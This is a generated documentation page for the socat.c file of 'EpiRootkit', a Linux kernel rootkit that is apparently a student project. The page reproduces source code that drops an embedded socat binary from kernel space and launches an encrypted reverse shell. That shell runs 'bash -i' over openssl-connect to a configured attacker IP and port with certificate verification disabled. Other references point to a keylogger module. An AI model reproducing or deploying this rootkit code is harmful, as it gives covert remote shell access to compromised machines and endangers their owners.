EpiRootkit
By STDBOOL
Loading...
Searching...
No Matches
socat.c File Reference
#include "socat.h"
#include <linux/completion.h>
#include <linux/err.h>
#include <linux/file.h>
#include <linux/fs.h>
#include <linux/kmod.h>
#include <linux/kthread.h>
#include <linux/sched.h>
#include <linux/slab.h>
#include <linux/uaccess.h>
#include "epirootkit.h"
Include dependency graph for socat.c:

Go to the source code of this file.

Functions

static int is_socat_binaire_dropped (void)
 
int drop_socat_binaire (void)
 
int remove_socat_binaire (void)
 
int launch_reverse_shell (char *args)
 

Function Documentation

◆ drop_socat_binaire()

int drop_socat_binaire ( void  )

Drops the socat binary at the specified path.

Returns
SUCCESS on success, negative error code on failure.

Definition at line 32 of file socat.c.

32 {
34 DBG_MSG("drop_socat_binaire: socat binary already dropped\n");
35 return SUCCESS;
36 }
37
38 struct file *f;
39 loff_t pos = 0;
40
41 f = filp_open(SOCAT_BINARY_PATH, O_WRONLY | O_CREAT | O_TRUNC, 0700);
42 if (IS_ERR(f)) {
43 ERR_MSG("drop_socat_binaire: failed to open file: %ld\n", PTR_ERR(f));
44 return -FAILURE;
45 }
46
47 unsigned int written = kernel_write(f, socat, socat_len, &pos);
48 if (written < 0) {
49 ERR_MSG("drop_socat_binaire: kernel_write failed: %u\n", written);
50 filp_close(f, NULL);
51 return -FAILURE;
52 }
53 else if (written < socat_len) {
54 ERR_MSG("drop_socat_binaire: only %u bytes written, expected %u\n", written,
55 socat_len);
56 filp_close(f, NULL);
57 return -FAILURE;
58 }
59 else {
60 DBG_MSG("socat written successfully (%u bytes)\n", written);
61 }
62
63 filp_close(f, NULL);
64
65 return SUCCESS;
66}
#define ERR_MSG(fmt, args...)
Definition config.h:16
#define DBG_MSG(fmt, args...)
Definition config.h:15
#define FAILURE
Definition config.h:6
#define SUCCESS
Definition config.h:5
#define SOCAT_BINARY_PATH
Definition config.h:24
static struct dentry * file
Definition epikeylog.c:145
Definition socat.py:1
static int is_socat_binaire_dropped(void)
Definition socat.c:19

◆ is_socat_binaire_dropped()

static int is_socat_binaire_dropped ( void  )
static

Checks if the socat binary has been dropped (exists at SOCAT_BINARY_PATH).

Returns
true if the socat binary exists at the specified path, false otherwise.

Definition at line 19 of file socat.c.

19 {
20 struct file *f;
21 f = filp_open(SOCAT_BINARY_PATH, O_RDONLY, 0);
22 if (IS_ERR(f))
23 return false;
24 filp_close(f, NULL);
25 return true;
26}

◆ launch_reverse_shell()

int launch_reverse_shell ( char *  args)

Definition at line 83 of file socat.c.

83 {
85 ERR_MSG("launch_reverse_shell: socat binary not dropped\n");
86 return -FAILURE;
87 }
88
89 int port = REVERSE_SHELL_PORT; // Default port
90
91 // Get the port
92 if (args && strlen(args) > 0)
93 port = simple_strtol(args, NULL, 10);
94
95 // Build the socat command with the specified port
96 char cmd[256];
97 snprintf(cmd, sizeof(cmd),
98 "%s exec:'bash -i',pty,stderr,setsid,sigint,sane "
99 "openssl-connect:%s:%d,verify=0 &",
101
102 // Launch the command
103 int ret_code = exec_str_as_command_no_timeout(cmd, false);
104
105 if (ret_code < 0) {
106 ERR_MSG("launch_reverse_shell: failed to start reverse shell on port %d\n",
107 port);
108 return ret_code;
109 }
110
111 DBG_MSG("launch_reverse_shell: reverse shell started on port %d\n", port);
112 return SUCCESS;
113}
int port
Definition main.c:7
#define REVERSE_SHELL_PORT
Definition config.h:25
char * ip
Definition main.c:6
#define exec_str_as_command_no_timeout(user_cmd, catch_stds)
Definition epirootkit.h:38

◆ remove_socat_binaire()

int remove_socat_binaire ( void  )

Removes the socat binary from the specified path.

Returns
SUCCESS on success, negative error code on failure.

Definition at line 72 of file socat.c.

72 {
75 ERR_MSG("remove_socat_binaire: failed to remove socat binary\n");
76 return -FAILURE;
77 }
78 DBG_MSG("remove_socat_binaire: socat binary removed successfully\n");
79 return SUCCESS;
80}
#define exec_str_as_command(user_cmd, catch_stds)
Definition epirootkit.h:37